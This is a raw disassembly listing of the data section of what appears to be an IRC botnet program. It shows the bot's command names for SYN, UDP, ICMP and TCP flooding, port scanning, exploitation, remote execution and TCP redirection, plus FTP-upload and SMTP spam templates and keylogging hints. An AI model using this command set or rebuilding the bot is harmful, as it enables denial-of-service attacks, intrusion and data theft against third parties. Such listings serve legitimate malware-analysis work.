		dd 2202967h, 2002BBBBh,	63694E20h, 2528206Bh, 203A2973h
		dd 7325h
; char aNickS_0[]
aNickS_0	db 'NICK %s',0          ; DATA XREF: sub_40EE51+41B5o
					; sub_40EE51+4CA4o
; char aJoinSS[]
aJoinSS		db 'JOIN %s %s',0       ; DATA XREF: sub_40EE51+4196o
		align 4
; char aPartS[]
aPartS		db 'PART %s',0          ; DATA XREF: sub_40EE51+412Co
dword_4357EC	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE51:loc_412F6Ao
		dd 2BBBB02h
aRepeatNotAllow	db '  Repeat not allowed in command line: %s',0
		align 10h
; char dword_435830
dword_435830	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE51+40E2o
		dd 2BBBB02h, 65522020h,	74616570h, 7325203Ah, 0
; char aRepeat[]
aRepeat		db 'repeat',0           ; DATA XREF: sub_40EE51+4091o
		align 10h
dword_435860	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE51:loc_412E9Ao
		dd 2BBBB02h, 65442020h,	2E79616Ch, 0
; char aSSSS[]
aSSSS		db '%s %s %s :%s',0     ; DATA XREF: sub_40EE51+4009o
					; sub_40EE51+40BCo ...
		align 4
unk_435894	db    2			; DATA XREF: sub_40EE51:loc_412E09o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 75h,	70h, 64h
		db  61h	; a
		db 74h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aBotIdMustBeDif	db ' Bot ID must be different than current running process.',0
unk_4358E8	db    2			; DATA XREF: sub_40EE51+3FAEo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 75h,	70h, 64h
		db  61h	; a
		db 74h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToStartD	db ' Failed to start download thread, error: <%d>.',0
		align 4
; char unk_435934
unk_435934	db    2			; DATA XREF: sub_40EE51+3F3Fo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 75h,	70h, 64h
		db  61h	; a
		db 74h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aDownloadingUpd	db ' Downloading update from: %s.',0
		align 10h
; char aSS_exe[]
aSS_exe		db '%s%s.exe',0         ; DATA XREF: sub_40EE51+3E99o
		align 4
dword_43597C	dd 7A026E02h, 201F6D1Fh, 65786528h, 1F702E63h, 29671F6Ch
					; DATA XREF: sub_40EE51+3E3Ao
		dd 0BBBB0220h, 43202002h, 616D6D6Fh, 3A73646Eh,	732520h
unk_4359A4	db    2			; DATA XREF: sub_40EE51+3E2Fo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 65h,	78h, 65h
		db  63h	; c
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aCouldnTExecute	db '  Couldn',27h,'t execute file.',0
		align 4
unk_4359D8	db    2			; DATA XREF: sub_40EE51+3DA7o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 66h,	69h, 6Ch
		db  65h	; e
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_16	db '  Failed to start search thread, error: <%d>.',0
		align 4
; char unk_435A24
unk_435A24	db    2			; DATA XREF: sub_40EE51+3D2Do
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 66h,	69h, 6Ch
		db  65h	; e
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSearchingFor_0	db '  Searching for file: %s in: %s.',0
		align 4
dword_435A64	dd 7A026E02h, 201F6D1Fh, 6C696628h, 1F702E65h, 29671F6Ch
					; DATA XREF: sub_40EE51:loc_412AE0o
					; sub_40EE51:loc_41391Co
		dd 0BBBB0220h, 2002h
; char unk_435A80
unk_435A80	db    2			; DATA XREF: sub_40EE51+3C7Ao
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Ch
		db  65h	; e
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aRenameSToS_	db '  Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0
		align 4
unk_435AB4	db    2			; DATA XREF: sub_40EE51:loc_412AA9o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aInvalidFloodTi	db '  Invalid flood time must be greater than 0.',0
		align 4
unk_435AFC	db    2			; DATA XREF: sub_40EE51+3C4Eo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStartF	db '  Failed to start flood thread, error: <%d>.',0
		align 4
; char unk_435B44
unk_435B44	db    2			; DATA XREF: sub_40EE51+3BD4o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFloodingSForSS	db '  Flooding: (%s) for %s seconds.',0
		align 10h
unk_435B80	db    2			; DATA XREF: sub_40EE51+3B5Do
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 63h,	6Ch, 6Fh
		db  6Eh	; n
		db 65h,	73h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToSta_17	db ' Failed to start clone thread, error: <%d>.',0
; char unk_435BC8
unk_435BC8	db    2			; DATA XREF: sub_40EE51+3AEEo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 63h,	6Ch, 6Fh
		db  6Eh	; n
		db 65h,	73h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aCreatedOnSDInC	db ' Created on %s:%d, in channel %s.',0
		align 4
; char unk_435C08
unk_435C08	db    2			; DATA XREF: sub_40EE51+3A66o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 2 dup(64h), 6Fh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_18	db '  Failed to start flood thread, error: <%d>.',0
		align 10h
; char unk_435C50
unk_435C50	db    2			; DATA XREF: sub_40EE51+39EEo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 2 dup(64h), 6Fh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFloodingSSForS	db '  Flooding: (%s:%s) for %s seconds.',0
		align 10h
; char dword_435C90
dword_435C90	dd 7A026E02h, 201F6D1Fh, 6E797328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE51+3959o
		dd 2BBBB02h
aFailedToSta_19	db '  Failed to start flood thread, error: <%d>.',0
		align 4
; char dword_435CD8
dword_435CD8	dd 7A026E02h, 201F6D1Fh, 6E797328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE51+38DFo
		dd 2BBBB02h
aFloodingSSFo_0	db '  Flooding: (%s:%s) for %s seconds.',0
unk_435D14	db    2			; DATA XREF: sub_40EE51+386Fo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 64h,	6Fh, 77h
		db  6Eh	; n
		db 6Ch,	6Fh, 61h
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStartT	db '  Failed to start transfer thread, error: <%d>.',0
		align 4
; char unk_435D64
unk_435D64	db    2			; DATA XREF: sub_40EE51+3800o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 64h,	6Fh, 77h
		db  6Eh	; n
		db 6Ch,	6Fh, 61h
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDownloadingUrl	db '  Downloading URL: %s to: %s.',0
		align 10h
unk_435DA0	db    2			; DATA XREF: sub_40EE51+3731o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	65h, 64h
		db  69h	; i
		db 72h,	65h, 63h
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStartR	db '   Failed to start redirection thread, error: <%d>.',0
		align 4
; char unk_435DF4
unk_435DF4	db    2			; DATA XREF: sub_40EE51+36C2o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	65h, 64h
		db  69h	; i
		db 72h,	65h, 63h
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aTcpRedirectCre	db '   TCP redirect created from: %s:%d to: %s:%d.',0
unk_435E40	db    2			; DATA XREF: sub_40EE51+3637o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_20	db '  Failed to start scan thread, error: <%d>.',0
		align 4
; char unk_435E8C
unk_435E8C	db    2			; DATA XREF: sub_40EE51+35C8o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aPortScanStarte	db '  Port scan started: %s:%d with delay: %d(ms).',0
aSSS_2		db '[%s] <%s> %s',0     ; DATA XREF: sub_40EE51+3544o
		align 4
; char aSSS_1[]
aSSS_1		db '[%s] * %s %s',0     ; DATA XREF: sub_40EE51+3447o
		align 4
; char dword_435EF8
dword_435EF8	dd 54434101h, 204E4F49h, 17325h	; DATA XREF: sub_40EE51+33B9o
					; sub_40EE51+43E9o
; char unk_435F04
unk_435F04	db    2			; DATA XREF: sub_40EE51+335Ao
					; sub_40EE51+5162o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	2 dup(6Fh)
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_21	db '  Failed to start scan thread, error: <%d>.',0
		align 4
; char unk_435F4C
unk_435F4C	db    2			; DATA XREF: sub_40EE51+32EBo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	2 dup(6Fh)
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSExploitationS	db '  %s Exploitation started on %s:%d waiting %d seconds for %d minu'
		db 'tes using %d threads.',0
aSequential	db 'Sequential',0       ; DATA XREF: sub_40EE51+32C0o
					; sub_40EE51+50C6o
		align 4
aRandom_0	db 'Random',0           ; DATA XREF: sub_40EE51+32B9o
					; sub_40EE51+50BFo
		align 10h
unk_435FD0	db    2			; DATA XREF: sub_40EE51+317Bo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	2 dup(6Fh)
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_22	db '  Failed to start scan, no IP specified.',0
		align 4
; char unk_436014
unk_436014	db    2			; DATA XREF: sub_40EE51+3032o
					; sub_40EE51+4F0Ao
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	2 dup(6Fh)
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aAlreadyDScanni	db '  Already %d scanning threads. Too many specified.',0
dword_436060	dd 7A026E02h, 201F6D1Fh, 70647528h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE51+3001o
		dd 2BBBB02h
aFailedToSta_23	db '  Failed to start flood thread, error: <%d>.',0
		align 4
; char dword_4360A8
dword_4360A8	dd 7A026E02h, 201F6D1Fh, 70647528h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE51+2F92o
		dd 2BBBB02h
aSendingDPacket	db '  Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0
		align 10h
; char aIcmp_dllNotAva[]
aIcmp_dllNotAva	db 'ICMP.dll not available',0 ; DATA XREF: sub_40EE51+2EBDo
		align 4
unk_436118	db    2			; DATA XREF: sub_40EE51+2EA8o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	69h, 6Eh
		db  67h	; g
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_24	db '  Failed to start flood thread, error: <%d>.',0
		align 10h
; char unk_436160
unk_436160	db    2			; DATA XREF: sub_40EE51+2E3Do
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	69h, 6Eh
		db  67h	; g
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSendingDPingsT	db '  Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0
		align 4
dword_4361B8	dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE51:loc_411BF1o
		dd 2BBBB02h
aInvalidFlood_0	db '  Invalid flood time must be greater than 0.',0
		align 10h
dword_436200	dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE51+2D96o
		dd 2BBBB02h
aFailedToSta_25	db '  Failed to start flood thread, error: <%d>.',0
		align 4
; char dword_436248
dword_436248	dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE51+2D1Co
		dd 2BBBB02h
aSSFloodingSSFo	db '  %s %s flooding: (%s:%s) for %s seconds.',0
		align 4
aNormal		db 'Normal',0           ; DATA XREF: sub_40EE51+2D0Co
		align 4
aSpoofed	db 'Spoofed',0          ; DATA XREF: sub_40EE51+2D05o
dword_43629C	dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE51+2C70o
		dd 2BBBB02h
aInvalidFloodTy	db '  Invalid flood type specified.',0
; char dword_4362D4
dword_4362D4	dd 7A026E02h, 201F6D1Fh, 70746628h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE51:loc_4119D9o
		dd 2BBBB02h
aUploadingFileS	db '  Uploading file: %s to: %s failed.',0
dword_436310	dd 7A026E02h, 201F6D1Fh, 70746628h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE51+2B81o
		dd 2BBBB02h
aUploadingFil_0	db '  Uploading file: %s to: %s',0
aFtp_exe	db 'ftp.exe',0          ; DATA XREF: sub_40EE51+2B6Ao
; char aSS_5[]
aSS_5		db '-s:%s',0            ; DATA XREF: sub_40EE51+2B53o
		align 4
; char aOpenSSSSPutSBy[]
aOpenSSSSPutSBy	db 'open %s',0Dh,0Ah    ; DATA XREF: sub_40EE51+2B33o
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db 'put %s',0Dh,0Ah
		db 'bye',0Dh,0Ah,0
		align 4
; char aSIII_dll[]
aSIII_dll	db '%s\%i%i%i.dll',0    ; DATA XREF: sub_40EE51+2AFEo
		align 4
dword_436388	dd 7A026E02h, 201F6D1Fh, 70746628h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE51+2AB4o
		dd 2BBBB02h
aFileNotFoundS_	db '  File not found: %s.',0
		align 4
; char aFtp_upload[]
aFtp_upload	db 'ftp.upload',0       ; DATA XREF: sub_40EE51+2A91o
		align 4
; char aUtil_hcon[]
aUtil_hcon	db 'util.hcon',0        ; DATA XREF: sub_40EE51+2A6Eo
		align 10h
; char aUtil_httpcon[]
aUtil_httpcon	db 'util.httpcon',0     ; DATA XREF: sub_40EE51+2A57o
		align 10h
; char unk_4363E0
unk_4363E0	db    3			; DATA XREF: sub_40EE51+2A3Bo
		db 31h,	35h, 2Ch
		db  31h	; 1
		db 34h,	6Eh, 7Ah
		db  6Dh	; m
		db 20h,	3, 32h
		db  2Eh	; .
		db 2Eh,	20h, 3
		db  31h	; 1
		db 35h,	28h, 65h
		db  6Dh	; m
		db 61h,	69h, 6Ch
		db    3
		db 32h,	2Eh, 3
		db  31h	; 1
		db 35h,	6Dh, 6Fh
		db  64h	; d
		db 29h,	20h, 3
		db  32h	; 2
		db 0BBh, 3, 31h
a5MessageSentTo	db '5  Message sent to %s.',0
		align 10h
; char aHeloRndnickMai[]
aHeloRndnickMai	db 'helo $rndnick',0Ah  ; DATA XREF: sub_40EE51+29C7o
		db 'mail from: <%s>',0Ah
		db 'rcpt to: <%s>',0Ah
		db 'data',0Ah
		db 'subject: %s',0Ah
		db 'from: %s',0Ah
		db '%s',0Ah
		db '.',0Ah,0
; char a__0[]
a__0:					; DATA XREF: sub_40EE51+292Bo
		unicode	0, <_>,0
; char aUtil_email[]
aUtil_email	db 'util.email',0       ; DATA XREF: sub_40EE51+28DCo
		align 4
; char aDdos_tcpf[]
aDdos_tcpf	db 'ddos.tcpf',0        ; DATA XREF: sub_40EE51+28C5o
		align 4
; char aDdos_tcpflood[]
aDdos_tcpflood	db 'ddos.tcpflood',0    ; DATA XREF: sub_40EE51+28AEo
		align 4
; char aP_0[]
aP_0		db 'p',0                ; DATA XREF: sub_40EE51+2897o
		align 4
; char aDdos_pingf[]
aDdos_pingf	db 'ddos.pingf',0       ; DATA XREF: sub_40EE51+2880o
		align 4
; char aDdos_pingflood[]
aDdos_pingflood	db 'ddos.pingflood',0   ; DATA XREF: sub_40EE51+2869o
		align 4
; char aU_0[]
aU_0		db 'u',0                ; DATA XREF: sub_40EE51+2852o
		align 4
; char aDdos_udpf[]
aDdos_udpf	db 'ddos.udpf',0        ; DATA XREF: sub_40EE51+283Bo
		align 4
; char aDdos_udpflood[]
aDdos_udpflood	db 'ddos.udpflood',0    ; DATA XREF: sub_40EE51+2824o
		align 4
; char aRoot_s[]
aRoot_s		db 'root.s',0           ; DATA XREF: sub_40EE51+280Do
		align 10h
; char aRoot_start[]
aRoot_start	db 'root.start',0       ; DATA XREF: sub_40EE51+27F6o
		align 4
; char aClone_ac[]
aClone_ac	db 'clone.ac',0         ; DATA XREF: sub_40EE51+27CDo
		align 4
; char aClone_action[]
aClone_action	db 'clone.action',0     ; DATA XREF: sub_40EE51+27B6o
		align 4
; char aClone_pm[]
aClone_pm	db 'clone.pm',0         ; DATA XREF: sub_40EE51+279Fo
		align 4
; char aClone_privmsg[]
aClone_privmsg	db 'clone.privmsg',0    ; DATA XREF: sub_40EE51+2788o
		align 4
; char aRoot_ps[]
aRoot_ps	db 'root.ps',0          ; DATA XREF: sub_40EE51+2771o
; char aRoot_portscan[]
aRoot_portscan	db 'root.portscan',0    ; DATA XREF: sub_40EE51+275Ao
		align 4
; char aDaemon_rd[]
aDaemon_rd	db 'daemon.rd',0        ; DATA XREF: sub_40EE51+2743o
		align 4
; char aDaemon_redirec[]
aDaemon_redirec	db 'daemon.redirect',0  ; DATA XREF: sub_40EE51+272Co
; char aVSt4wN[]
aVSt4wN		db 'v!st4w!n',0         ; DATA XREF: sub_40EE51+2715o
		align 4
; char aVSt4w1n[]
aVSt4w1n	db 'v!st4w1n',0         ; DATA XREF: sub_40EE51+26FEo
		align 10h
; char aDdos_synf[]
aDdos_synf	db 'ddos.synf',0        ; DATA XREF: sub_40EE51+26E7o
		align 4
; char aDdos_synflood[]
aDdos_synflood	db 'ddos.synflood',0    ; DATA XREF: sub_40EE51+26D0o
		align 4
; char aClone_start[]
aClone_start	db 'clone.start',0      ; DATA XREF: sub_40EE51+2674o
; char aClone_make[]
aClone_make	db 'clone.make',0       ; DATA XREF: sub_40EE51+265Do
		align 4
; char aDdos_ic[]
aDdos_ic	db 'ddos.ic',0          ; DATA XREF: sub_40EE51+2634o
; char aDdos_icmp[]
aDdos_icmp	db 'ddos.icmp',0        ; DATA XREF: sub_40EE51+261Do
		align 4
; char aCom_mv[]
aCom_mv		db 'com.mv',0           ; DATA XREF: sub_40EE51+2606o
		align 10h
; char aCom_rename[]
aCom_rename	db 'com.rename',0       ; DATA XREF: sub_40EE51+25EFo
		align 4
; char aFf[]
aFf		db 'ff',0               ; DATA XREF: sub_40EE51+25D8o
		align 10h
; char aFindfile[]
aFindfile	db 'findfile',0         ; DATA XREF: sub_40EE51+25C1o
		align 4
; char aCom_e[]
aCom_e		db 'com.e',0            ; DATA XREF: sub_40EE51+25AAo
		align 4
; char aCom_execute[]
aCom_execute	db 'com.execute',0      ; DATA XREF: sub_40EE51+2593o
; char aUp50[]
aUp50		db 'up50',0             ; DATA XREF: sub_40EE51+2565o
					; sub_40EE51+257Co
		align 4
; char aIrc_de[]
aIrc_de		db 'irc.de',0           ; DATA XREF: sub_40EE51+254Eo
		align 10h
; char aIrc_delay[]
aIrc_delay	db 'irc.delay',0        ; DATA XREF: sub_40EE51+2537o
		align 4
; char aIrc_rp[]
aIrc_rp		db 'irc.rp',0           ; DATA XREF: sub_40EE51+2520o
		align 4
; char aIrc_repeat[]
aIrc_repeat	db 'irc.repeat',0       ; DATA XREF: sub_40EE51+2509o
		align 10h
; char aClone_p[]
aClone_p	db 'clone.p',0          ; DATA XREF: sub_40EE51+24F2o
; char aClone_part[]
aClone_part	db 'clone.part',0       ; DATA XREF: sub_40EE51+24DBo
		align 4
; char aClone_j[]
aClone_j	db 'clone.j',0          ; DATA XREF: sub_40EE51+24C4o
; char aClone_join[]
aClone_join	db 'clone.join',0       ; DATA XREF: sub_40EE51+24ADo
		align 4
; char aClone_ni[]
aClone_ni	db 'clone.ni',0         ; DATA XREF: sub_40EE51+2496o
		align 4
; char aClone_nick[]
aClone_nick	db 'clone.nick',0       ; DATA XREF: sub_40EE51+247Fo
		align 10h
; char aClone_m[]
aClone_m	db 'clone.m',0          ; DATA XREF: sub_40EE51+2468o
; char aClone_mode[]
aClone_mode	db 'clone.mode',0       ; DATA XREF: sub_40EE51+2451o
		align 4
; char aClone_ra[]
aClone_ra	db 'clone.ra',0         ; DATA XREF: sub_40EE51+243Ao
		align 10h
; char aClone_raw[]
aClone_raw	db 'clone.raw',0        ; DATA XREF: sub_40EE51+2423o
		align 4
; char aIrc_m[]
aIrc_m		db 'irc.m',0            ; DATA XREF: sub_40EE51+240Co
		align 4
; char aIrc_mode[]
aIrc_mode	db 'irc.mode',0         ; DATA XREF: sub_40EE51+23F5o
		align 10h
; char aIrc_cy[]
aIrc_cy		db 'irc.cy',0           ; DATA XREF: sub_40EE51+23DEo
		align 4
; char aIrc_cycle[]
aIrc_cycle	db 'irc.cycle',0        ; DATA XREF: sub_40EE51+23C7o
		align 4
; char aIrc_ac[]
aIrc_ac		db 'irc.ac',0           ; DATA XREF: sub_40EE51+23B0o
		align 4
; char aIrc_action[]
aIrc_action	db 'irc.action',0       ; DATA XREF: sub_40EE51+2399o
		align 4
; char aIrc_pm[]
aIrc_pm		db 'irc.pm',0           ; DATA XREF: sub_40EE51+2382o
		align 10h
; char aIrc_privmsg[]
aIrc_privmsg	db 'irc.privmsg',0      ; DATA XREF: sub_40EE51+236Bo
; char aIrc_aa[]
aIrc_aa		db 'irc.aa',0           ; DATA XREF: sub_40EE51+2354o
		align 4
; char aIrc_addalias[]
aIrc_addalias	db 'irc.addalias',0     ; DATA XREF: sub_40EE51+233Do
		align 4
; char aIrc_gh[]
aIrc_gh		db 'irc.gh',0           ; DATA XREF: sub_40EE51+2314o
		align 4
; char aIrc_gethost[]
aIrc_gethost	db 'irc.gethost',0      ; DATA XREF: sub_40EE51+22FDo
; char aCom_cap[]
aCom_cap	db 'com.cap',0          ; DATA XREF: sub_40EE51+22E6o
; char aCom_capture[]
aCom_capture	db 'com.capture',0      ; DATA XREF: sub_40EE51+22CFo
; char dword_43671C
dword_43671C	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE51:loc_4110D2o
		dd 2BBBB02h
aCommandUnknown	db '  Command unknown.',0
		align 4
dword_436748	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE51:loc_4110CBo
		dd 2BBBB02h
aNoMessageSpeci	db '  No message specified.',0
dword_436778	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE51:loc_411083o
		dd 2BBBB02h
aUserListFailed	db '  User list failed.',0
dword_4367A4	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE51+222Bo
		dd 2BBBB02h
aUserListComple	db '  User list completed.',0
		align 4
; char aUser[]
aUser		db 'user',0             ; DATA XREF: sub_40EE51+219Eo
		align 4
dword_4367DC	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE51:loc_410FE4o
		dd 2BBBB02h
aShareListFaile	db '  Share list failed.',0
		align 4
dword_43680C	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE51+2189o
		dd 2BBBB02h
aShareListCompl	db '  Share list completed.',0
; char aShare[]
aShare		db 'share',0            ; DATA XREF: sub_40EE51+2121o
		align 4
; char aDelete[]
aDelete		db 'delete',0           ; DATA XREF: sub_40EE51+2106o
		align 4
; char aPause[]
aPause		db 'pause',0            ; DATA XREF: sub_40EE51+20D3o
		align 4
; char aStop[]
aStop		db 'stop',0             ; DATA XREF: sub_40EE51+20BBo
		align 4
dword_43685C	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE51:loc_410F01o
		dd 2BBBB02h
aServiceListFai	db '  Service list failed.',0
		align 4
dword_43688C	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE51+20A6o
		dd 2BBBB02h
aServiceListCom	db '  Service list completed.',0
		align 10h
dword_4368C0	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE51+2022o
		dd 2BBBB02h
aFailedToLoadAd	db '  Failed to load advapi32.dll or netapi32.dll.',0
		align 4
; char aCom_net[]
aCom_net	db 'com.net',0          ; DATA XREF: sub_40EE51+1FFEo
; char unk_436910
unk_436910	db    2			; DATA XREF: sub_40EE51+1FBDo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 6Bh,	65h, 79h
		db  6Ch	; l
		db 6Fh,	67h, 2Eh
